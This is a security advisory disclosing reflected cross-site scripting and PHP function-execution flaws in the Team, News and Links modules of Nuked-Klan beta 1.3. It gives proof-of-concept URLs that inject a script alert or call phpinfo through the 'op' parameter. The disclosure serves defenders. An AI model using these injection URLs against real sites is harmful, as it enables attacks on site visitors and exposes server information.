[SCSA-006] XSS & Function Execution Vulnerabilities in Nuked-Klan

["Grégory" Le Bras <gregory.lebras () security-corp org>]

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Security Corporation Security Advisory [SCSA-006]
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PROGRAM: Nuked-Klan
HOMEPAGE: http://www.nuked-klan.org
VULNERABLE VERSIONS: beta 1.3
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DESCRIPTION
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Nuked Klan is a PHP Gateway for "clans".

(direct quote from Nuked Klan website)


DETAILS & EXPLOITS
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Many Cross-Site Scripting vulnerabilities have been found in Nuked Klan 
which allow attackers to inject script codes into the page and use them 
on clients browser as if they were provided by the site.

These Cross-Site Scripting vulnerabilities are found in the following 
modules : Team, News, Links(Liens). 

An attacker can input specially crafted links and/or other 
malicious scripts.

Moreover this vulnerability allows an attacker to reach certain 
functions of php.



Team
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A vulnerability was discovered at this adress : 

XSS:
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http://[target]/index.php?file=Team&op=<script>alert('Test');</script>


Function Execution:
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http://[target]/index.php?file=Team&op=phpinfo

(display phpinfo(); - Outputs lots of PHP information)


News
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A vulnerability was discovered at this adress : 

XSS:
----

http://[target]/index.php?file=News&op=<script>alert('test');</script>


Function Execution:
-------------------

http://[target]/index.php?file=News&op=phpinfo

(display phpinfo(); - Outputs lots of PHP information)


Links
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A vulnerability was discovered at this adress : 

XSS:
----

http://[target]/index.php?file=Liens&op=<script>alert('test');</script>


Function Execution:
-------------------

http://[target]/index.php?file=Liens&op=phpinfo

(display phpinfo(); - Outputs lots of PHP information)


SOLUTIONS
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No solutions for the moment.


VENDOR STATUS 
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The vendor has reportedly been notified. It currently develops a patch.


LINKS
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http://www.security-corp.org/index.php?ink=4-15-1

Version Française : 

http://www.security-corp.org/advisories/SCSA-006-FR.txt


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Grégory Le Bras aka GaLiaRePt | http://www.Security-Corp.org
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